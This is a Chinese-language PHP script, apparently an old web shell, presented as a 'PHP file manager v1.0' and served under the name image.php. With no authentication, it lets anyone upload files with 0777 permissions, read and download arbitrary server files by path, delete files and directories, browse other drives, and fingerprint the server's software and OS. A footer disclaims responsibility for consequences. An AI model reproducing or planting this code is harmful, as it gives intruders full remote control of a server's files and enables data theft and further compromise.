<?
if ($downfile) {
		if (!@is_file($downfile))
			echo"你要下的文件不存在";
        $filename = basename($downfile);
		$filename_info = explode('.', $filename);
		$fileext = $filename_info[count($filename_info)-1];
		header('Content-type: application/x-'.$fileext);
		header('Content-Disposition: attachment; filename='.$filename);
		header('Content-Description: PHP3 Generated Data');
		readfile($downfile);
		exit;
	}
?>


<?php
if($dir=="")
$dir="./";
?>

<html> 
<head>
<title>文件上传管理</title>
<style type="text/css">
<!--
.forn {  font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
-->
</style>
</head> 
<body bgcolor="#FFFFFF" leftmargin="5">
<center>
<form enctype="multipart/form-data" action="image.php?dir=<? echo"$dir";?>" method="post" name=fm class="forn">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr> 
        <td class="forn">程序目录: 
          <? 
		$path="";
		$pathname=str_replace('\\','/',dirname(__FILE__));
		echo "<a href=image.php >$pathname</a>";?>
          服务器IP： 
          <? echo  getenv("REMOTE_HOST");?>
          <font color="#FFFFFF"> </font><span class="forn">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#FF0000"> 
          I</font><font color="#0000FF">D</font><font color="#9900CC">设计</font> 
          <font color="#666666">PHP文件管理器 v1.0</font></span> </td>
      </tr>
    </table>
    <table width="100%" border="0" cellspacing="1" cellpadding="2" bgcolor="#000000" class="forn">
    <tr bgcolor="#FFFFFF"> 
      <td width="14%" align="center"><font size="2">请选择文件： </font></td>
        <td width="59%"><font size="2"> 
          <input name="userfile" type="file" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000"  >
        </font></td>
        <td rowspan="5" align="left" valign="top" width="27%"> 
          <?
if(!$userfile&&!$delfile&&!$deldir&&!$mkdir)
{
echo"PHP探针：<br>";
echo"<font color=red>服务器PHP版本:</font>php";
echo PHP_VERSION."<br>";
echo"<font color=red>服务器操作系统:</font>";
echo PHP_OS."<br>";
echo"<font color=red>服务器解译引擎:</font>";
echo getenv("SERVER_SOFTWARE")."<br>";
echo"<font color=red>脚本超时时间:</font>";
echo get_cfg_var("max_execution_time")."秒<br>";
echo"<font color=red>服务器端口:</font>";
echo  getenv("SERVER_PORT");
echo"<font color=red> 空间大小:</font>";
echo intval(diskfreespace(".") / (1024 * 1024)).'Mb<br>';
echo"<font color=red> 可上传最大单文件:</font>";
echo get_cfg_var("upload_max_filesize");

}		?>
          <? 
if(@$userfile!="") 
{ 
@$v=file_exists($filedir); 
if(!$v) 
{ 
mkdir(@$filedir,0777); 
} 
@chmod($filedir,0777);
if(@$lastname!="")
{
$lastname=$lastname;
}
else 
$lastname=$userfile_name;
if(file_exists("$filedir/$lastname")=="1")
echo"同名文件存在，请换个名子上传";
else
{
copy($userfile,"$filedir/$lastname"); 
echo $userfile_name."--该文件的原始名称<br>"; 
echo $lastname."上传后的名称<br>";
echo $userfile_size."--上传文件的实际字节数<br>"; 
echo $userfile_type."-文件类型"; 
echo "<p>〖<a href='$filedir/$userfile_name' target='_blank'>看看</a>〗"; 
}
echo "〖<a href='javascript:history.back(1)'>返回</a>〗"; 

} 
?>
          <?php
if($delfile!="")
{
if(file_exists($delfile))
{
chmod("$delfile",0777);
unlink($delfile);
}
else{
$xx="1";
echo "文件已不存在<br>";
 }
if(!file_exists($delfile)&&$xx!="1")
echo"删除成功";
else
echo"删除失败";
}
?>
          <?php
if($deldir!="")
{
$deldirs="$dir//$deldir";
  if(file_exists("$deldirs"))
  {
  chmod("$deldirs",0777);
  rmdir("$deldirs");
  $xy="1";
  }
  else if(!file_exists("$deldirs"))
  echo"目录不存在！";

if($xy=="1")
   echo"删除完必,";

}

?>
          <?
if($mkdir)
{
$mkdirs="$dir//$mkdir";
if(file_exists("$mkdirs"))
echo"该目录存在";
else
{
mkdir("$mkdirs",0777);
if(file_exists("$mkdirs"))
echo"目录创建成功";
else
echo"目录创建失败";
}
}

?>
        </td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td width="14%" align="center"><font size="2">文件上传的目录: </font></td>
        <td width="59%"><font size="2"> 
          <input type="text" name="filedir"  style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" value="<? echo"$dir";?>">
        请用服务器上相对目路径</font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td width="14%" align="center" height="3"><font size="2">上传后的文件名:</font> 
      </td>
        <td width="59%" height="3"> 
          <input type="text" name="lastname" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
        可不写 <font size="2">(注意，请在后面加后缀名！如：name.zip）</font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td width="14%">&nbsp;</td>
        <td width="59%"> 
          <input type="submit" value="上传" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
        <input type="reset" name="Submit" value="重置" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
      </td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td width="14%">&nbsp;</td>
        <td width="59%">&nbsp;</td>
    </tr>
  </table>
</form> 
<form name="form1" method="get" action="image.php" class="forn">
  <span class="forn">当前路径: 
  <? echo $NowDir = getMyPath($pathname, $dir);?>
  </span> 磁盘转换: 
  <input type="text" name="dir" size="5"style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
    <input type="submit" value="转换" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  输入如：c:,d: 一类的盘符，如你的权限够。下面将会显示该盘内容 
</form>
<span class="forn"> </span> 
<table width="100%" border="0" cellspacing="1" cellpadding="2" class="forn" bgcolor="#000000" height="44">
  <tr bgcolor="#FFFFFF"> 
       <form name="form2" method="post" action=""> 
        <td width="29%" height="4"> 目录: 
          <input type="text" name="mkdir" size="15" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
          <input type="submit" value="创建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
        </td>
      </form>
      <td width="71%" height="4">文件：</td>
  </tr>
  <tr bgcolor="#FFFFFF"> 
    <td width="29%" align="left" valign="top" height="9"> 
      <?php
$dirs=opendir($dir);
while ($file=readdir($dirs)) {
     $b="$dir/$file";
     $a=is_dir($b);
	if($a=="1"){
	if($file!=".."&&$file!=".")
    echo "<table width='100%' border='0' cellspacing='0' cellpadding='0' class='forn'><tr> 
          <td width='80%'>□ <a href='image.php?dir=$dir/$file'>$file</a></td>
          <td width='20%'><a href='image.php?dir=$dir&deldir=$file'>删除</a></td></tr></table>";
     else
	 {
	 if($file=="..")
	 echo "↑<a href='image.php?dir=$dir/$file'> 上级目录</a>";
	 }
	}
	}
closedir($dirs); 
?>
    </td>
    <td width="71%" valign="top" align="left" height="9"> 
      <table width="100%" border="0" cellspacing="0" cellpadding="0" class="forn">
        <tr align="center"> 
          <td width="34%">名称</td>
          <td width="23%">时期</td>
          <td width="25%">大小</td>
          <td width="18%">操作</td>
        </tr>
      </table>
      <?php
$dirs=opendir($dir);
while ($file=readdir($dirs)) {
     $b="$dir/$file";
     $a=is_dir($b);
	if($a=="0"){
	$size=filesize("$dir/$file");
	$lastsave=date("Y-n-d H:i",filectime("$dir/$file"));
    echo "
	<table width='100%' border='0' cellspacing='0' cellpadding='0' class='forn'  >
        <tr>
          <td width='35%'><a href=$dir/$file target=_blank>$file</a> </td>
		   <td width='24%'>$lastsave</td>
          <td width='24%'>$size 字节</td>
          <td width='10%'><a href='image.php?downfile=$dir/$file' target='_blank'>下载</a></td>
          <td width='10%'><a href='image.php?dir=$dir&delfile=$dir/$file'>删除</a></td>
		</tr>
      </table>";
	}
	}
closedir($dirs); 
?>
    </td>
  </tr>
</table>
  <span class="forn"><font color="#FF0000">声明:</font>由本程序造成的一切后果，与本人无关<br>
  Powered by <a href="http://idlerdesign.yeah.net" target="_blank">咖啡</a> <br>
  转载时请保留这些信息</span> 
</center>
</body> 
</html>

<?
	function getMyPath($mainpath, $relativepath)
	{
		global $dir;

		$mainpath_info           = explode('/', $mainpath);
		$relativepath_info       = explode('/', $relativepath);
		$relativepath_info_count = count($relativepath_info);
		for ($i=0; $i<$relativepath_info_count; $i++) {
			if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
			if ($relativepath_info[$i] == '..') {
				$mainpath_info_count = count($mainpath_info);
				unset($mainpath_info[$mainpath_info_count-1]);
				continue;
			}
			$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
		} //end for

		return implode('/', $mainpath_info);
	}

?>